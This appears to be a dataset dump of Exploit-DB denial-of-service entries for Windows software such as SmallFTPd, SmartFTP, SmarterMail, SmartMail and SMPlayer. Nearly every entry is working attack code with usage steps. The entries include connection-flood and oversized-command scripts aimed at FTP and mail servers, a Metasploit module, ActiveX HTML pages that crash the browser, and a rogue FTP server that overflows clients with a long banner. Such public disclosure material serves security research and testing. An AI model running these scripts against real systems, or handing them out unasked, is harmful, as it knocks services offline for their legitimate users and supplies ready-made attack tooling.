deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38419
Description: SmallFTPd - Denial of Service
Type: dos
Platform: windows
Date: 2013-04-03
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/58856/info

SmallFTPD is prone to an unspecified denial-of-service vulnerability.

A remote attacker can exploit this issue to crash the application resulting, in denial-of-service conditions.

SmallFTPD 1.0.3 is vulnerable; other versions may also be affected. 

#ce
#include <String.au3>
$f=_StringRepeat('#',10);
$USE_PROTO='ftp://';
$INVALIDIP='INVALID IP FORMAT';
$INVALIDPORT='INVALID PORT NUMBER!';
$HTTPUA='Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SV1; .NET CLR 1.1.4325)';
$msg_usage=$f & ' smallftpd 1.0.3 DENIAL OF SERVICE exploit ' & StringMid($f,1,7) & @CRLF & _
$f & " Usage: " & _
@ScriptName & ' REMOTEIP ' & ' REMOTEPORT ' & $f & @CRLF & _
StringReplace($f,'#','\') & _StringRepeat(' ',10) & _
'HACKING IS LIFESTYLE!' & _StringRepeat(' ',10) & StringReplace($f,'#','/')
if $CmdLine[0]=0 Then
MsgBox(64,"","This is a console Application!" & @CRLF & 'More Info: ' & @ScriptName & ' --help' & @CRLF & _
'Invoke It from MSDOS!',5)
exit;
EndIf
if $CmdLine[0] <> 2 Then
ConsoleWrite(@CRLF & _StringRepeat('#',62) & @CRLF & $msg_usage & @CRLF & _StringRepeat('#',62) & @CRLF);
exit;
EndIf
$ip=StringMid($CmdLine[1],1,15);//255.255.255.255
$port=StringMid($CmdLine[2],1,5);//65535
validateall($ip,$port)
func validateall($ip,$port)
if not StringIsDigit($port) Or NOT (Number($port)<=65535) Then
ConsoleWrite($INVALIDPORT);
Exit;
EndIf
TCPStartup();
$ip=TCPNameToIP($ip);
TCPShutdown();
$z=StringSplit($ip,Chr(46));//Asc('.')
if @error then
ConsoleWrite($INVALIDIP);
exit;
EndIf
for $x=0 to $z[0]
if Number($z[0]-1) <>3 Then
ConsoleWrite($INVALIDIP);
Exit
EndIf
if $x>=1 AND Not StringIsDigit($z[$x]) Or StringLen($z[$x])>3 Then
ConsoleWrite($INVALIDIP);
exit;
EndIf
Next
$x=0;
ConsoleWrite(@CRLF & _StringRepeat('#',62) & @CRLF & $msg_usage & @CRLF & _StringRepeat('#',62) & @CRLF);
ConsoleWrite(@CRLF & $f & _StringRepeat('#',6) & ' WORKING ON IT! PLEASE WAIT...' & _StringRepeat('#',6) & $f & @CRLF)
downit($ip,$port,$x)
EndFunc; =>validateall($ip,$port)
Func downit($ip,$port,$x)
$x+=1;
TCPStartup()
$socket_con = -1
$socket_con = TCPConnect($ip, $port)
If not @error Then
if Mod($x,40)=0 Then
ConsoleWrite(_StringRepeat('-',62) & @CRLF & '~ TRY count: ~ ' & $x & @CRLF & _StringRepeat('-',62) & @CRLF)
Sleep(Random(1000,1800,1));
EndIf
downit($ip,$port,$x)
Else
Beep(1000,1500)
ConsoleWrite(_StringRepeat('#',62) & @CRLF & $f & _StringRepeat(' ',12) & 'Mission Completed! @' & $x & _StringRepeat(' ',12) & $f & @CRLF & _
_StringRepeat(' ',5) & ' TARGET =>' & StringLower($USE_PROTO & $ip & ':' & $port) & '/ is * DOWN ! * ' & @CRLF & _StringRepeat('#',62));
TCPShutdown();
exit;
EndIf
EndFunc; ==>downit($ip,$port,$x)
#cs
Exploit-DB #12603
Description: SmallFTPd 1.0.3 - 'DELE' Denial of Service
Type: dos
Platform: windows
Date: 2010-05-14
Author: Jeremiah Talamantes

Exploit:
# Tested on: Windows XP, SP2 (EN)
#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##           SmallFTPD FTP Server DELE Command DoS             ##"
print "##                        Version 1.0.3                        ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Define the exploit's usage
def Usage():
    print ("Usage: scriptname.py <IP> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer
buffer="A" * 496

def exploit(hostname,username,password):
	i=0
	while i < 300:
		i=i+1
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		try:
			sock.connect((hostname, 21))
		except:
			print ("Error: unable to connect to host")
			sys.exit(1)
		r=sock.recv(1024)
		print "[+] " + r + ": running iteration number:  ",i
		sock.send("USER " + username + "\r\n")
		r=sock.recv(1024)
		sock.send("PASS " + password + "\r\n")
		r=sock.recv(1024)
		sock.send("DELE " + buffer + "\r\n")
		sock.close()
		
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
	hostname=sys.argv[1]
	username=sys.argv[2]
	password=sys.argv[3]
	exploit(hostname,username,password)
	sys.exit(0)

# End
Exploit-DB #40632
Description: SmallFTPd 1.0.3 - 'mkd' Denial of Service
Type: dos
Platform: windows
Date: 2016-10-26
Author: ScrR1pTK1dd13

Exploit:
from ftplib import FTP

print '''
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScrR1pTK1dd13.slammer@gmail.com   # 
                ##############################################


# Exploit Title: smallftp_mkd_command_DoS_Exploit
# Date: 2016.10.26
# Exploit Author: Greg Priest
# Version: smallftpd 1.0.3
# Tested on: Windows XP, Windows 7 x64

'''

ftp_ip = raw_input("FTP server IP:")
user = raw_input("username:")
password = raw_input("password:")
killercode = 'CRASH' * 100
ftp = FTP(ftp_ip)
ftp.login(user, password)
print ftp.login
print "CRSAH CODE SENT!"
FTP.mkd(ftp, killercode)
Exploit-DB #17455
Description: SmallFTPd 1.0.3 - Denial of Service
Type: dos
Platform: windows
Date: 2011-06-27
Author: Myo Soe

Exploit:
# Exploit Title: smallFTPD Connection Saturation Remote Denial of Service
# Date: June 27, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://smallftpd.sf.net
# Version: 1.0.3-fix and earlier
# Tested on: windows xp, seven, 2k3


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp				
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'smallFTPD Connection Saturation Remote Denial of Service',
			'Description'	=> %q{
				This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably conerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops denying new FTP  requests, which can be verified only through a valid login.
			},
			'Author' 		=> [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],
			'License'        	=> MSF_LICENSE,
			'Version'        	=> '$Revision:  $',
			'References'     =>
				[
					[ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]
				],
			'DisclosureDate' => 'June 2010'))

			register_options(
				[
					Opt::RPORT(21)
				],self.class)
	end

	def run

		print_status("Sending DOS Packets ...")
		
		35.times do |x|
			connect
			sock.put("USER CRASHED\r\n")			
			disconnect
		end
		
		print_good("Done")			

	end

end
Exploit-DB #23716
Description: SmallFTPd 1.0.3 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-02-17
Author: intuit e.b.

Exploit:
source: https://www.securityfocus.com/bid/9684/info

It has been reported that SmallFTPD is prone to a remote denial of service vulnerability. This issue is due to the application failing to properly validate user input. 

Successful exploitation of this issue may cause the affected server to crash, denying service to legitimate users. It has been conjectured that this issue may be due to a boundary management problem that may lead to arbitrary code execution, however this has yet to be verified.

ftp://www.example.com/user:pass@127.0.0.1/[464 and more "/" symbols]/../../../
Exploit-DB #11861
Description: Smart PC Recorder 4.8 - '.mp3' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-03-24
Author: chap0

Exploit:
# Exploit Title: Smart PC Recorder .MP3 Local Crash POC
# Date: March 23, 2010
# Author: chap0
# Software Link: http://www.voiceemotion.com/smartrecorder.htm
# Version: Current Version: 4.8
# Tested on: Windows XP SP3/Windows 7
# Cost USD 19.95

#!/usr/bin/perl

#Glory to God
#Won't Bow to Men, I Defy!

print "| Smart PC Recorder .mp3 Local Crash |\n";
print "| Current Version 4.8 Cost 19.95 USD |\n";
print "| Author: chap0                      |\n";
print "|        Always FUZZ IT OUT!         |\n";

my $ezA = "\x41";
my $file = "2ez.mp3";
open (FILE,">$file") or die "[!]Cannot open file";
print FILE "$ezA";
print "\n\tMP3 Created!\n";
Exploit-DB #46272
Description: Smart VPN 1.1.3.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-28
Author: 0xB9

Exploit:
# Exploit Title: Smart VPN 1.1.3.0 - Denial of Service (PoC)
# Date: 1/28/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NH1G93D4HKR
# Version: 1.1.3.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the top right search bar and hit Enter
# App will now crash

buffer = "A" * 2100
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #14634
Description: SmartCode ServerX VNC Server ActiveX 1.1.5.0 - 'scvncsrvx.dll' Denial of Service
Type: dos
Platform: windows
Date: 2010-08-13
Author: LiquidWorm

Exploit:
Title: SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit


Vendor: SmartCode Solutions
Product Web Page: htt://www.s-code.com
Version Tested: 1.1.5.0

Summary: SmartCode ServerX VNC Server control is a VNC server implemented as an
ActiveX component, which makes it extremely easy for you to integrate VNC support
into your Web or desktop applications. In the simplest scenario, you would add the
ServerX ActiveX component to your project, place the ServerX instance in a form,
and modify the ActiveX properties if desired. That's it - you just created an
application with a VNC Server embedded in it.

Desc: The vulnerability exist in the CSC_ServerXControl class with all its members.
When parsing overly long string while listening for incoming connection the application
crashes along with IE, corrupting the memory.

--

(26d8.25bc): C++ EH exception - code e06d7363 (first chance)
CSC_ServerXControl::FinalRelease
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97b120 esi=7c90de50 edi=00000000
eip=7c90e4f4 esp=0013fe5c ebp=0013ff58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret

--

Tested On: Microsoft Windows XP Professional SP3 (EN)
           Windows Internet Explorer 8.0.6001.18702

Zero Science Lab Advisory ID: ZSL-2010-4948
Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4948.php


Vulnerability Discovered By: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

13.08.2010



PoC:

<html>
<object classid='clsid:8818CF4D-2190-49C3-B7EB-B9F2AE198CB1' id='zsl' />
<script language='vbscript'>

dos=String(18212, "A")

zsl.Password = dos

</script>
</html>
Exploit-DB #3873
Description: SmartCode VNC Manager 3.6 - 'scvncctrl.dll' Denial of Service
Type: dos
Platform: windows
Date: 2007-05-08
Author: shinnai

Exploit:
<html>
 <object classid='clsid:62FA83F7-20EC-4D62-AC86-BAB705EE1CCD' id='target'></object>
  <script language = 'vbscript'>
   buff = String(3543,"A")
 
   get_EAX = "aaaa"
   get_EBX = "cccc"

   buff2 = String(1440,"B")

   egg = buff + get_EAX + get_EBX + buff2

   target.ConnectAsyncEx egg, 1, "default"
  </script>
</html>

# milw0rm.com [2007-05-08]
Exploit-DB #31607
Description: SmarterTools SmarterMail 5.0 - HTTP Request Handling Denial of Service
Type: dos
Platform: windows
Date: 2008-04-04
Author: ryujin

Exploit:
source: https://www.securityfocus.com/bid/28610/info

SmarterTools SmarterMail is prone to a denial-of-service vulnerability when handling specially crafted HTTP GET, HEAD, PUT, POST, and TRACE requests. When the server eventually resets the request connection, it will crash.

Remote attackers can exploit this issue to deny service to legitimate users.

SmarterMail 5.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
##########################################################################
#
# SmarterMail Web Server 5.0 DoS exploit
# Tested on version 5.0.2999, OS: Windows XPSP2 English
# Tested with GET,HEAD,PUT,POST,TRACE
#
# Bug discovered by Matteo Memelli aka ryujin
# http://www.gray-world.net http://www.be4mind.com
#
##########################################################################
#
# bt ~ # ./smartermail_dos.py -H 192.168.1.245 -P 9998
# [+] Connecting to 192.168.1.245 on port 9998
# [+] Starting DoS attack, it can take some minutes...
# [+] Evil buf sent!
# [+] Now we must wait for a connection reset to crash the server...
# [+] Server Di3d:  Connection reset by peer
# [+] The attack took 113 secs
#
##########################################################################

from socket import *
from optparse import OptionParser
import sys, time

usage =  "%prog -H TARGET_HOST -P TARGET_PORT [-c COMMAND]"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--target_host", type="string",
                  action="store", dest="HOST",
                  help="Target Host")
parser.add_option("-P", "--target_port", type="int",
                  action="store", dest="PORT",
                  help="Target Port")
(options, args) = parser.parse_args()
HOST    = options.HOST
PORT    = options.PORT
if not (HOST and PORT):
   parser.print_help()
   sys.exit()

payload = 'A'*8784
print "[+] Connecting to %s on port %d" % (HOST, PORT)
print "[+] Starting DoS attack, it can take some minutes..."
timestart = time.time()
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
s.send('TRACE ' + payload+"\r\n\r\n")
print "[+] Evil buf sent!"
print "[+] Now we must wait for a connection reset to crash the 
server..."

# IF WE DONT WAIT FOR A CONNECTION RESET THE SERVER WONT CRASH
try:
   data=s.recv(1024)
except error,e:
   print "[+] Server Di3d: ", e[1]
   print "[+] The attack took %d secs" % int(time.time() - timestart)
else:
   print "[-] Attack was not successful!" 
   s.close()
Exploit-DB #50266
Description: SmartFTP Client 10.0.2909.0 - 'Multiple' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-09-06
Author: Eric Salario

Exploit:
# Exploit Title: SmartFTP Client 10.0.2909.0 - 'Multiple' Denial of Service
# Date: 9/5/2021
# Exploit Author: Eric Salario
# Vendor Homepage: https://www.smartftp.com/en-us/
# Software Link: https://www.smartftp.com/en-us/download
# Version: 10.0.2909.0 (32 and 64 bit)
# Tested on: Microsoft Windows 10 32 bit and 64 bit

=========================================================================

buffer = "//"
buffer += "A" * 423

f = open ("path.txt", "w")
f.write(buffer)
f.close()

1. Run the python script
2. Open SmartFTP > New Connection > FTPS (explicit)
3. Enter a non existing ip the FTP server can't reach (e.g 255.255.255.255)
4. In Path, copy paste the content of the "path.txt" generated by the python script
5. Click "OK"
6. SmartFTP client crashes

=======================================================================
1. Open SmartFTP > New Connection > FTPS (explicit)
2. Enter a non existing ip the FTP server can't reach (e.g 255.255.255.255)
3. In Path, type slash ("/") and click "OK"
4. The app should return "Error 0x80072741"
5. In the path's search bar, replace slash ("/") with whatever and press enter
6. SmartFTP client crashes

=======================================================================

1. Open SmartFTP
2. In the "New Connection" bar, clear the history (dropdown to the right of the bar)
3. Once the history is empty, click the bar and type anything
3. SmartFTP client crashes
Exploit-DB #3277
Description: SmartFTP Client 2.0.1002 - Remote Heap Overflow Denial of Service
Type: dos
Platform: windows
Date: 2007-02-06
Author: Marsu

Exploit:
/***************************************************************************
*              SmartFTP Client v 2.0.1002 Heap Overflow DoS                *
*                                                                          *
*                                                                          *
* There is remote heap overflow in SmartFTP. When the app receives a long  *
* banner (5000 char) the heap is smashed, leading to DoS and to code       *
* execution.                                                               *
*                                                                          *
* There are also two buffer overflow in the fields Address and Login.      *
* I've reported this to Secunia but it seems they didn't think it was dan- *
* gerous cause they didn't publish anything about. However a simple drag'n *
* drop could compromise your system...                                     *
*                                                                          *
* Have Fun!                                                                *
*                                                                          *
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                              *
***************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

	char evilbuff[5000];
	sockaddr_in sin;
	int server,client;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 21 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));
	printf("[*] Listening on port 21...\n");
	listen(server,5);
	printf("[*] Waiting for client ...\n");
	client=accept(server,NULL,NULL);
	printf("[+] Client connected\n");

	memset(evilbuff,'A',5000);
	memcpy(evilbuff,"220 ",4);
	memcpy(evilbuff+4997,"\r\n\0",3);

	if (send(client,evilbuff,strlen(evilbuff),0)==-1)
	{
		printf("[-] Error in send!\n");
		exit(-1);
	}
	printf("[+] Data sent\n");

	Sleep(1500);

	if (send(client,"boom?",5,0)==-1)
	    printf("[+] Crashed? Crashed!\n");
	else
		printf("[-] Exploit failed!\n");

	return 0;
}

// milw0rm.com [2007-02-06]
Exploit-DB #45966
Description: SmartFTP Client 9.0.2623.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-12-11
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: SmartFTP 9.0 Build 2623 - Denial of Service (PoC)
# Date: 06/12/2018
# Exploit Author: Alejandra Sánchez
# Vendor Homepage: https://www.smartftp.com/en-us/
# Software Link: https://www.smartftp.com/get/SFTPMSI64.exe
# Version: 9.0.2623.0
# Tested on: Windows Server 2016 (x64)/ Windows 10 Single Language x64

# Steps to Produce the Crash: 
# 1.- Run python code : python SmartFTPClient.py
# 2.- Open SmartFTPClient.txt and copy content to clipboard
# 3.- Open SmartFTP Client 
# 4.- New connection
# 5.- Paste ClipBoard on Host 
# 6.- Crashed


buffer = "\x41" * 256
f = open ("SmartFTPClient.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #21973
Description: SmartMail Server 1.0 Beta 10 - Oversized Request Denial of Service
Type: dos
Platform: windows
Date: 2002-10-31
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/6075/info

SmartMail Server is reported to be prone to a remote denial of service
condition. It is possible to trigger this condition by sending large amounts (5MB+) of data to the server via TCP port 25 or 110.

SmartMail Server will need to be restarted to regain normal functionality.

This issue was reported in SmartMail Server 1.0 BETA 10. It is not known if other versions are affected. 

#!/usr/bin/perl -w
# tool smartdos.pl
# securma@caramail.com
# Greetz: marocit and #crack.fr (specialement christal.)
#
use IO::Socket;
if ($#ARGV<0)
{
 print "\n write the target IP!\n\n";
 exit;
}
$buffer = "A"x 5099999 ;
$connect = IO::Socket::INET ->new (Proto=>"tcp",
PeerAddr=> "$ARGV[0]",
PeerPort=>"25"); unless ($connect) { die "cant connect $ARGV
[0]" }
print $connect "$buffer";
print "\nsending exploit......\n\n";
Exploit-DB #21972
Description: SmartMail Server 2.0 - Closed Connection Denial of Service
Type: dos
Platform: windows
Date: 2002-10-31
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/6074/info

SmartMail Server is reported to be prone to a denial of service when a client is sending data and then closes the connection unexpectedly.

SmartMail Server will need to be restarted to regain normal functionality.

This issue was reported in SmartMail Server 2.0 Interim Build 83. It is not known if other versions are affected.


#!/usr/bin/perl -w
# greetz: marocit and #crack.fr (christal)
# securma@caramail.com
use Socket;
if (not $ARGV[0]) {
        print qq~
                Usage: sm.pl <host>
        ~;
exit;}

$ip=$ARGV[0];
print "SmartMail server 2.0 DoS\n\n";
print "Sending Exploit Code to host: " . $ip . "\n\n";
sendexplt("MASSINE");
sub sendexplt {
 my ($pstr)=@_;
        $target= inet_aton($ip) || die("inet_aton
problems");
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')
||0) ||
 die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,25,$target)){
 select(S);
                $|=1;
 print $pstr;
 sleep 3;
         close(S);
 } else { die("Can't connect...\n"); }
}
Exploit-DB #43124
Description: SMPlayer 17.11.0 - '.m3u' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-11-05
Author: bzyo

Exploit:
#!/usr/bin/python
 
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: SMPlayer 17.11.0 - '.m3u' Crash (PoC)
# Date: 05-11-2017
# Vulnerable Software: SMPlayer v17.11.0
# Vendor Homepage: http://www.smplayer.info
# Version: v17.11.0
# Software Link: http://www.smplayer.info/en/downloads
# Tested On: Windows 7 x64
#
#
# PoC: generate crash.m3u, open playlist twice in app
#
#

file="crash.m3u"

crash = "A"*24538  		#crashes on 24538, but more will do
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
Exploit-DB #47709
Description: SMPlayer 19.5.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-11-25
Author: Malav Vyas

Exploit:
# Title : SMPlayer 19.5.0 - Denial of Service (PoC)
# Tested on : Windows 7 (64 bit)
# Vulnerable Software: SMPlayer v 19.5.0
# Exploit Author: Malav Vyas
# Vendor Homepage: https://smplayer.info
# Version : 19.5.0
# Software Link : https://smplayer.info/en/downloads

# POC
# run this python file, which will generate attack.m3u file
# .m3u file is used as a playlist
# this python file will generate a .m3u file with 25000 "A" characters.
# Open this file in SMPlayer two times.
# second time, buffer would be successfully overflowed and it would result in a Denial Of Service attack.
# For more details, please refer to video

f="attack.m3u"

bof = "A"*25000

writeFile = open(f, "w")
writeFile.write(bof)
writeFile.close()